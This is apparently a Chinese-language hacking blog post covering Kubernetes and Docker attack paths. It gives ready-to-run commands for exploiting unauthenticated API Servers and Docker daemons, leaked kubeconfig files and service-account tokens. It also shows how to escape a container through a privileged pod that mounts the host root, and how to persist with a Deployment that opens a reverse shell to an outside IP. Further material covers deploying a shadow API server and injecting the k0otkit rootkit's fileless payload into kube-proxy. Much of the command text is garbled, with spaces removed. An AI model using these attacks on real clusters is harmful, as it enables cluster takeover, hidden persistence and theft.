Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86376201

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

隨著越來越多企業開始上雲的步伐,在攻防演練中常常碰到雲相關的場景,例如:公有云、私有云、混合雲、虛擬化集群等。以往滲透路徑是「外網突破- 提權- 權限維持- 信息收集- 橫向移動- 循環收集信息」,直到獲得重要目標系統。但隨著業務上雲以及虛擬化技術的引入改變了這種格局,也打開了新的入侵路徑,例如:

l通過虛擬機攻擊雲管理平台,利用管理平台控制所有機器

l通過容器進行逃逸,從而控制宿主機以及橫向滲透到K8s Master節點控制所有容器

l利用KVM-QEMU/執行逃逸獲取宿主機,進入物理網絡橫向移動控制雲平台

目前互聯網上針對雲原生場景下的攻擊手法零零散散的較多,僅有一些廠商發布過相關矩陣技術,但沒有過多的細節展示,本文基於微軟發布的Kubernetes威脅矩陣進行擴展,介紹相關的具體攻擊方法。

图片1.png

紅色標誌是攻擊者最為關注的技術點。

初始訪問lAPI Server未授權訪問

lkubelet未授權訪問

lDocker Daemon 公網暴露

lK8s configfile 洩露

API Server未授權訪問API Server作為K8s集群的管理入口,通常使用8080 和6443 端口,其中8080 端口無需認證,6443 端口需要認證且有TLS 保護。如果開發者使用8080 端口,並將其暴露在公網上,攻擊者就可以通過該端口的API,直接對集群下髮指令。

另一種場景是運維人員配置不當,將'system:anonymous'用戶綁定到'cluster-admin'用戶組,從而使6443端口允許匿名用戶以管理員權限向集群內部下髮指令。

#查看pods

https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500

#創建特權容器

https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444

{'apiVersion':'v1','kind':'Pod','metadata':{'annotations':{'kubectl.kubernetes.io/last-applied-configuration':'{\'apiVersion\':\'v1\',\'kind\':\'Pod\',\'metadata\':{\'annotations\'33 360{},\'name\':\'test-4444\',\'namespace\':\'default\'},\'spec\':{\'containers\':[{\'image\':\'nginx:1.14.2\',\'name\':\'test-4444\',\'volumeMounts\':[{\'mountPath\':\'/host\',\'n ame\':\'host\'}]}],\'volumes\':[{\'hostPath\':{\'path\':\'/\',\'type\':\'Directory\'},\'name\':\'host\'}]}}\n'},'name':'test-4444','namespace':'default'},'spec':{'containers': [{'image':'nginx:1.14.2','name':'test-4444','volumeMounts':[{'mountPath':'/host','name':'host'}]}],'volumes':[{'hostPath':{'path':'/','type':'Directory'},'name':'host'}]}}

#執行命令

https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami創建特權容器詳細解釋:

图片2.png

創建特權容器

K8s configfile 洩露K8s configfile作為K8s集群的管理憑證,其中包含有關K8s集群的詳細信息(API Server、登錄憑證)。

如果攻擊者能夠訪問到此文件(如辦公網員工機器入侵、洩露到Github 的代碼等),就可以直接通過API Server 接管K8s 集群,帶來風險隱患。

用戶憑證保存在kubeconfig 文件中,kubectl 通過以下順序來找到kubeconfig 文件:

1.如果提供了--kubeconfig參數,就使用提供的kubeconfig 文件。

2.如果沒有提供--kubeconfig 參數,但設置了環境變量$KUBECONFIG,則使用該環境變量提供的kubeconfig 文件。

3.如果以上兩種情況都沒有,kubectl 就使用默認的kubeconfig 文件$HOME/.kube/config。

拿到K8s configfile完整利用流程:

K8s configfile -- 創建後門Pod/掛載主機路徑-- 通過Kubectl進入容器-- 利用掛載目錄逃逸。

#Linux安裝kubectl

curl-LO'https://dl.k8s.io/release/$(curl-L-shttps://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl'

sudoinstall-oroot-groot-m0755kubectl/usr/local/bin/kubectl

#內容放入config、或指定選項,需要修改Server地址

kubectl--kubeconfigk8s.yaml

#獲取已接取的鏡像

kubectlgetpods--all-namespaces--insecure-skip-tls-verify=true-ojsonpath='{.image}'|tr-s'[[:space:]]''\n'|sort|uniq-c

#創建Podpod.yaml,將宿主機根目錄掛載host文件

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

#在default命名空間中創建pod

kubectlapply-fpod.yaml-ndefault--insecure-skip-tls-verify=true

#進入容器中

kubectlexec-ittest-444bash-ndefault--insecure-skip-tls-verify=true

#切換bash,逃逸成功

cd/host

chroot./bashDocker Daemon 公網暴露Docker以C/S模式工作,其中docker daemon服務在後台運行,負責管理容器的創建、運行和停止操作。

在Linux主機上,docker daemon監聽在/var/run/docker.sock中創建的unix socket,2375端口用於未認證的HTTP通信,2376用於可信HTTPS通信。

在最初版本安裝Docker時默認會把2375端口對外開放,目前默認只允許本地訪問。

管理員開啟遠程訪問的配置如下:

#開啟遠程訪問

vim/lib/systemd/system/docker.service

ExecStart=/usr/bin/dockerd-Hfd://-Htcp://0.0.0.0:2375-containerd=/run/containerd/containerd.sockDocker Daemon未授權訪問的檢測與利用:

#探測是否訪問未授權訪問

curlhttp://192.168.238.129:2375/info

docker-Htcp://192.168.238.129:2375info

#推薦使用這種方式,操作方便。

exportDOCKER_HOST='tcp://192.168.238.129:2375'Docker Daemon未授權實戰案例:

图片3.png

執行l利用Service Account

nCURL方式請求

nkubectl方式請求

利用Service AccountK8s集群創建的Pod中,容器內部默認攜帶K8s Service Account的認證憑據,路徑為:(/run/secrets/kubernetes.io/serviceaccount/token)

如運維配置不當沒有設置RBAC(基於角色的訪問控制),那麼攻擊者就可以通過Pod獲取到Token進行API Server認證。

在較低版本v1.15.11中,Kubernetes默認是不會開啟RBAC控制,從1.16版本起,默認啟用RBAC訪問控制策略。從1.18開始,RBAC已作為穩定的功能。

下面就是利用Pod中的Token訪問API Server的一種場景:

#指向內部API服務器主機名

exportAPISERVER=https://${KUBERNETES_SERVICE_HOST}

#設置ServiceAccount令牌的路徑

exportSERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount

#讀取pods命名空間並將其設置為變量。

exportNAMESPACE=$(cat${SERVICEACCOUNT}/namespace)

#讀取ServiceAccount不記名令牌

exportTOKEN=$(cat${SERVICEACCOUNT}/token)

#CACERT路徑

exportCACERT=${SERVICEACCOUNT}/ca.crt

執行以下命令查看當前集群中所有Namespaces。

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces

#寫入yaml,創建特權Pod

catnginx-pod.yamlEOF

apiVersion:v1

kind:Pod

metadata:

name:test-444

spec:

containers:

-name:test-444

image:nginx:1.14.2

volumeMounts:

-name:host

mountPath:/host

volumes:

-name:host

hostPath:

path:/

type:Directory

EOF

#創建pod

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-k${APISERVER}/api/v1/namespaces/default/pods-XPOST--header'content-type:application/yaml'--data-binary@nginx-pod.yaml

#查看信息

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespaces/default/pods/nginx

#執行命令

curl--cacert${CACERT}--header'Authorization:Bearer${TOKEN}'-XGET${APISERVER}/api/v1/namespace/default/pods/test-444/exec?command=lscommand=-l

or

api/v1/namespaces/default/pods/nginx-deployment-66b6c48dd5-4djlm/exec?command=lscommand=-lcontainer=nginxstdin=truestdout=truetty=true持久化lDaemonSets、Deployments

lShadow API

lRootkit

lcronjob持久化

Deployment創建容器時,通過啟用DaemonSets、Deployments,可以使容器和子容器即使被清理掉了也可以恢復,攻擊者經常利用這個特性進行持久化,涉及的概念有:

lReplicationController(RC)

ReplicationController確保在任何時候都有特定數量的Pod 副本處於運行狀態。

lReplication Set(RS)

Replication Set簡稱RS,官方已經推薦我們使用RS和Deployment來代替RC了,實際上RS和RC的功能基本一致,目前唯一的一個區別就是RC只支持基於等式的selector

lDeployment

主要職責和RC一樣,的都是保證Pod的數量和健康,二者大部分功能都是完全一致的,可以看成是一個升級版的RC控制器

官方組件kube-dns、kube-proxy也都是使用的Deployment來管理

這裡使用Deployment來部署後門

#dep.yaml

apiVersion:apps/v1

kind:Deployment#確保在任何時候都有特定數量的Pod副本處於運行狀態

metadata:

name:nginx-deploy

labels:

k8s-app:nginx-demo

spec:

replicas:3#指定Pod副本數量

selector:

matchLabels:

app:nginx

template:

metadata:

labels:

app:nginx

spec:

hostNetwork:true

hostPID:true

containers:

-name:nginx

image:nginx:1.7.9

imagePullPolicy:IfNotPresent

command:['bash']#反彈Shell

args:['-c','bash-i/dev/tcp/192.168.238.130/424201']

securityContext:

privileged:true#特權模式

volumeMounts:

-mountPath:/host

name:host-root

volumes:

-name:host-root

hostPath:

path:/

type:Directory

#創建

kubectlcreate-fdep.yamlShadow API Server如果部署了一個shadow apiserver,那麼該apiserver具有和集群中現在的apiserver一致的功能。同時開啟了全部k8s權限,接受匿名請求且不保存審計日誌,這將方便攻擊者無痕蹟的管理整個集群以及進行後續滲透行動。

Shadow API Server的配置與利用:

配置文件路徑:

/etc/systemd/system/kube-apiserver-test.service

#一鍵部署Shadowapiserver

./cdkrunk8s-shadow-apiserverdefault

#一鍵部署將在配置文件中添加瞭如下選項:

--allow-privileged

--insecure-port=9443

--insecure-bind-address=0.0.0.0

--secure-port=9444

--anonymous-auth=true

--authorization-mode=AlwaysAllow

#kcurl訪問與利用

./cdkkcurlanonymousgethttps://192.168.1.44:9443/api/v1/secretsRootkit這裡介紹一個k8s的rootkit,k0otkit 是一種通用的後滲透技術,可用於對Kubernetes 集群的滲透。使用k0otkit,您可以以快速、隱蔽和連續的方式(反向shell)操作目標Kubernetes 集群中的所有節點。

K0otkit使用到的技術:

lDaemonSet和Secret資源(快速持續反彈、資源分離)

lkube-proxy鏡像(就地取材)

l動態容器注入(高隱蔽性)

lMeterpreter(流量加密)

l無文件攻擊(高隱蔽性)

#生成k0otkit

./pre_exp.sh

#監聽

./handle_multi_reverse_shell.sh

k0otkit.sh的內容複製到master執行:

volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/containers:/{printNR}')

volume_line_num=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|awk'/volumes:/{printNR}')

image=$(kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml|grep'image:'|awk'{print$2}')

#createpayloadsecret

catEOF|kubectl--kubeconfig/root/.kube/configapply-f-

apiVersion:v1

kind:Secret

metadata:

name:$secret_name

namespace:kube-system

type:Opaque

data:

$secret_data_name:N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDA.

#injectmaliciouscontainerintokube-proxypod

kubectl--kubeconfig/root/.kube/config-nkube-systemgetdaemonsetskube-proxy-oyaml\

|sed'$volume_line_numa\\\\\\-name:$volume_name\nhostPath:\npath:/\ntype:Directory\n'\

|sed'$ctr_line_numa\\\\\\-name:$ctr_name\nimage:$image\nimagePullPolicy:IfNotPresent\ncommand:[\'sh\']\nargs:[\'-c\',\'echo\$$payload_name|perl-e'my\$n=qq();my\$fd=syscall(319,\$n,1);open(\$FH,qq(=).\$fd);sele ct((select(\$FH),\$|=1)[0]);print\$FHpackq/H*/,my\$pid=fork();if(0!=\$pid){wait};if(0==\$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\']\nenv:\n-name:$payload_name\nvalueFrom:\nsecretKeyRef:\nname:$secret_name\n